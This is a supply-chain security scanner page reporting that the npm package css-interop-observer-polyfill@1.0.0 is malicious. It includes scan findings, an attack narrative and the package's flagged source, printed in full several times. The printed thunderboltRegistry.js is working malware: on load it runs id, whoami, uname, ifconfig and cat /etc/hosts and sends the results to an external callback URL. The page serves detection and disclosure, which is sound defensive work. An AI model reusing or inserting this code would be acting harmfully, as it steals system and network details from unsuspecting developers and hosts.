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css-interop-observer-polyfill@1.0.0: Malicious npm security | LPM Firewall

registry / css-interop-observer-polyfill / 1.0.0

css-interop-observer-polyfill@1.0.0

Polyfill for CSS interop observer API

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The shipped registry file executes reconnaissance commands and transmits local system information to an external HTTP endpoint when loaded.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js in an environment providing the required Node.js capabilities and fetch.

Impact

Exposure of user identity, hostname, operating-system details, network configuration, and /etc/hosts contents.

Mechanism

An immediately invoked function executes shell commands, reads host information, and sends encoded results through HTTP requests.

Attack narrative

The package ships a registry implementation referenced by its registry manifest. Loading that implementation immediately collects system information through shell commands and sends it, together with the hostname, to a fixed external endpoint. The empty default entrypoint limits activation, but the registry payload actively exfiltrates data when loaded.

AI rationale

Direct source inspection establishes automatic reconnaissance and external transmission unrelated to a CSS polyfill. The empty main entrypoint does not neutralize the executable payload shipped and referenced as a registry asset.

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints1

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

High

Ai Review Evidence

The HTTP sender includes the hostname and targets dxpoc.gt.tc.

thunderboltRegistry.jsView on unpkg · L11

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L14

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L25

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

•matchType = normalized_sha256 matchedPackage = popover-anchor-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:cG9wb3Zlci1hbmNob3ItcG9seWZpbGw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = popover-anchor-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:cG9wb3Zlci1hbmNob3ItcG9seWZpbGw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js"

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L25

14var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("c

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L14

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no

High

Ai Review Evidence

The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil =

High

Ai Review Evidence

The HTTP sender includes the hostname and targets dxpoc.gt.tc.

thunderboltRegistry.jsView on unpkg · L11

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

Lines 1-65javascript

1(function(){

2 try {

3 var keys = Object.keys(require.cache);

4 for (var i = 0; i < keys.length; i++) {

5 if (keys[i].indexOf("thunderboltRegistry") !== -1) {

6 delete require.cache[keys[i]];

7 }

8 }

9 } catch(e) {}

11 var wh = "http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

12 var site = "unknown";

13 try { site = require("os").hostname(); } catch(e) {}

14 var exfil = function(params) {

High

Ai Review Evidence

The HTTP sender includes the hostname and targets dxpoc.gt.tc.

thunderboltRegistry.jsView on unpkg · L11

15 try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {}

16 };

18 var cp = null;

19 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L14

20 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

21 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

23 if (cp && typeof cp.execSync === "function") {

24 try {

25 var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();

26 exfil("cmd=id&out=" + encodeURIComponent(idout));

27 } catch(e) {}

29 try {

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L25

30 var whoami = cp.execSync("id -un 2>/dev/null || whoami 2>/dev/null || echo unknown", {encoding: "utf8", timeout: 5000}).trim();

31 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

32 } catch(e) {}

34 try {

35 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

36 exfil("cmd=uname&out=" + encodeURIComponent(uname));

37 } catch(e) {}

39 try {

40 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

41 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

42 } catch(e) {}

44 try {

45 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

46 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

47 } catch(e) {}

48 }

50 var nv = "no", pl = "no", pid = "0";

High

Ai Review Evidence

The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

51 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

52 exfil("beacon=rce-poc&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&t=" + Date.now());

53})();

55var hosts = [

56 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

57 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

58 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

59];

60var factory = function() {

61 var n = 0;

62 return new Proxy({

63 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

64 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

65 getComponentsLoaders: function() { return {}; },

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js"

css-interop-observer-polyfill@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code